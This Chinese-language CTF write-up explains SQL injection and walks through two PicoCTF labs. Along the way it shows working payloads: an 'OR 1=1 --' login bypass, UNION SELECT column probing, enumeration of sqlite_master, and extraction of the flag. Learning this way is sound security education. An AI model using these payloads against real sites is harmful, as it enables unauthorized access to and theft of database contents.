---
# System prepended metadata

title: Web - SQL Injection（Ⅰ）

---

# Web - SQL Injection（Ⅰ）

>好久沒打CTF了，忘光（慘） [name=超弱的我]

[參考網站｜Portswigger](https://portswigger.net/web-security/sql-injection)

## 什麼是SQL？
SQL 的全名是Structured Query Language（結構化查詢語言），這個程式語言的主要目的是讓使用者能以簡潔且統一的方式與資料庫互動，包括建立、查詢、更新與刪除資料。

SQL 最常見的用途就是從資料庫中檢索資料。語法如下：
`SELECT [欄位名稱] FROM [資料表名稱] WHERE [查詢條件]`

## 什麼是SQL Injection（SQLi）？
SQL Injection是一種常見的注入攻擊手法，藉由在網站輸入惡意指令，改變SQL語法的邏輯，藉此略過或拿到資料庫裡的內容。

一些比較常見的注入指令

| 指令 | 語法意思 |
| -------- | -------- |
| `--`     | SQL中註解的語法，能忽略後半段不需要的查詢 |
| `OR 1=1` | 這個條件永遠成立，能讓資料庫吐出更多資料 |
|`UNION` | 將多個查詢結果合併輸出，可用來竊取額外資料 |

先使用一題Lab做解釋吧！

### PicoCTF- SQLiLite
![image](https://hackmd.io/_uploads/HkU3-G3cel.png)

這題的SQL語法是這樣的：
`SELECT * FROM users WHERE name='' AND password=''`

於是乎，當在Username輸入 <span style="background-color: #C0FFEE; color: teal; font-size: 20px;">**'OR 1=1 \-\-**</span> 時，語法邏輯會變成
`SELECT * FROM users WHERE name=''OR 1=1 --' AND password=''`


這個時候，`name=''OR 1=1`讓帳號判斷成立（因為1=1恆成立），而密碼邏輯已經被註解，這時我們就能略過帳密登入網站啦 ~!

## UNION攻擊

`UNION` 會把「多個`SELECT`的結果」合併。當系統存在SQL注入漏洞時，可以藉其將資料庫的其他表資料帶出來。

使用UNION時，需要注意以下兩點：
1. 各個`SELECT`的欄位數量需要一致
2. 對應欄位的資料型別相同（例如字串對字串）

檢測欄位數是否一致的方法分為兩種：
* 利用`ORDER BY` 遞增嘗試，直到報錯再回退
* 使用`UNION SELECT NULL`並逐步增加`NULL`數量，過多時將回傳錯誤


### PicoCTF- More SQLi

![image](https://hackmd.io/_uploads/S1Bx_Wyjex.png)
先隨便輸入並Log in，得知這題的SQL為：
`SELECT id FROM users WHERE password='' AND username=''`

於是與前一題相反，在Password處輸入`'OR 1=1 --`成功登入。
![image](https://hackmd.io/_uploads/BkBvYbJoxl.png)

看起來是有三個欄位，於是我們先輸入
`' UNION SELECT NULL,NULL,NULL --`
![image](https://hackmd.io/_uploads/HJTZnbkjlx.png)
![image](https://hackmd.io/_uploads/rkZ2s-Jjee.png)

比對空搜尋能發現他多了一行淺色的槓槓，意味著已經將三個NULL成功注入。

根據這題的提示，他使用的是SQLite資料庫，所以他的資料庫會有一個sqlite_master表負責整理這個資料庫中所有表的資訊，所以我們嘗試改注入這串：
`'UNION SELECT name, sql, NULL FROM sqlite_master --`
![image](https://hackmd.io/_uploads/B1x-kzyoxe.png)
找到Flag啦＞＜ 他在一個叫做more_table的表中。

照上面的語法，修改成最終要注入的語句就會彈出flag了！
`'UNION SELECT flag, NULL, NULL FROM more_table --`

